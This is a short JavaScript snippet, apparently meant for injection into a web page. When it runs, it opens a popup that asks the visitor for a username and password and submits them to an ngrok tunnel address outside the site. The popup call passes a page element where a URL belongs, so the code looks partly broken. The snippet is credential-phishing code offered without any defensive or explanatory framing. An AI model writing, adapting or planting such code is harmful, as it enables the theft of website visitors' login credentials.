function start_Popup() 
		 {
			  
			  var my_div = document.createElement("div");
			  my_div.innerHTML += '<center><h2>please enter your password</h2><form id="my_form" method="get" action="https://b39c-2a00-a040-18b-329b-3c90-8dcb-e577-166d.ngrok.io"><input type="text" id="id_username" name="name_username" placeholder="Username" required><br><input type="password" id="id_password" name="name_password" placeholder="Password" required><br><input type="submit" value="send"/></center>';
			  window.open(my_div , "top=500,left=500,width=400,height=400");
		}	
		start_Popup();